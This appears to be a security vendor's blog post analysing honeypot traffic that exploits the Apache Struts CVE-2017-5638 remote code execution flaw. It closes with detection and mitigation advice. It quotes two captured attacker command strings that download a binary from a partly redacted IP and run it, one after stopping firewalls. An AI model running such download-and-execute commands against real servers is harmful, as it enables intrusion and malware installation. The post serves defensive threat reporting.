Apache Struts Vulnerability (CVE-2017-5638) Exploit Traffic

Last updated at Tue, 26 Dec 2023 20:33:31 GMT

UPDATE - March 10th, 2017: Rapid7 added a check that works in conjunction with Nexpose's web spider functionality. This check will be performed against any URIs discovered with the suffix “.action” (the default configuration for Apache Struts apps). To learn more about using this check, read this post.

UPDATE - March 9th, 2017:  Scan your network for this vulnerability with check id apache-struts-cve-2017-5638, which was added to Nexpose in content update 437200607.

Attacks spotted in the wild

Yesterday, Cisco Talos published a blog post indicating that they had observed in-the-wild attacks against a recently announced vulnerability in Apache Struts. The vulnerability, CVE-2017-5638, permits unauthenticated Remote Code Execution (RCE) via a specially crafted Content-Type value in an HTTP request. An attacker can create an invalid value for Content-Type which will cause vulnerable software to throw an exception.  When the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed.

World Wide Window into the Web

For some time now Rapid7 has been running a research effort called Heisenberg Cloud. The project consists of honeypots spread across every region of five major cloud providers, as well as a handful of collectors in private networks. We use these honeypots to provide visibility into the activities of attackers so that we can better protect our customers as well as provide meaningful information to the public in general. Today, Heisenberg Cloud helped provide information about the scope and scale of the attacks on the Apache vulnerability. If in the coming days and weeks it will provide information about the evolution and lifecycle of the attacks.

A few words of caution before I continue: please keep in mind that the accuracy of IP physical location here is at the mercy of geolocation databases and it's difficult to tell who the current 0wner(s) of a host are at any given time. Also, we host our honeypots in cloud providers in order to provide broad samples. We are unlikely to see targeted or other scope-limited attacks.

Spreading malware

We use Logentries to query our Heisenberg data and extract meaningful information.  One of the aspects of the attacks is how the malicious traffic has changed over the recent days.  The graph below shows a 72 hour window in time.

The first malicious requests we saw were a pair on Tuesday, March 7th at 15:36 UTC that originated from a host in Zhengzhou, China. Both were HTTP GET requests for /index.aciton (misspelled) and the commands that they executed would have caused a vulnerable target to download binaries from the attacking server. Here is an example of the commands that were sent as a single string in the Content-Type value:

cd /dev/shm; wget http://XXX.XXX.XXX.92:92/lmydess; chmod 777 lmydess; ./lmydess; 

I've broken the command into lines to make it easier to read. It's pretty standard for a command injection or remote code execution attack against web servers. Basically, move to some place writeable, download code, make sure its executable, and run it.

After this, the malicious traffic seemed to stop until Wednesday, March 8th at 09:02 UTC when a host in Shanghai, China started sending attacks. The requests differed from the previous attacks. The new attacks were HTTP POSTs to a couple different paths and attempted to execute different commands on the victim:

/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop; cd /tmp; wget -c http://XXX.XXX.XXX.26:9/7; chmod 777 7; ./7; 

This is similar to the prior commands but this attacker tries to stop the firewall first. The requested binary was not hosted on the same IP address that attacked the honeypot. In this case the server hosting the binary was still alive and we were able to capture a sample.  It appears to be a variant of the XOR DDoS family.

Not so innocent

Much like Talos, in addition to the attempts to spread malware, we see some exploitation of the vulnerability to run "harmless" commands such as whois, ifconfig, and a couple variations that echoed a value. The word harmless is in quotes because though the commands weren't destructive they could have allowed the originator of the request to determine if the target was vulnerable. They may be part of a research effort to understand the number of vulnerable hosts on the public Internet or an information gathering effort as part of preparation for a later attack. Irrespective of the reason, network and system owners should review their environments.

A little sunshine

Based on the traffic we are seeing at this time it would appear that the bulk of the non-targeted malicious traffic appears to be limited attacks from a couple of sources. This could change significantly tomorrow if attackers determine that there is value in exploiting this vulnerability. If you are using Apache Struts this would be a great time to review Apache's documentation on the vulnerability and then survey your environment for vulnerable hosts. Remember that Apache products are often bundled with other software so you may have vulnerable hosts of which you are unaware. Expect Nexpose and Metasploit coverage to be available soon to help with detection and validation efforts. If you do have vulnerable implementations of the software in your environment, I would strongly recommend upgrading as soon as safely possible. If you cannot upgrade immediately, you may wish to investigate other mitigation efforts such as changing firewall rules or network equipment ACLs to reduce risk. As always, it's best to avoid exposing services to public networks if at all possible.

Good luck!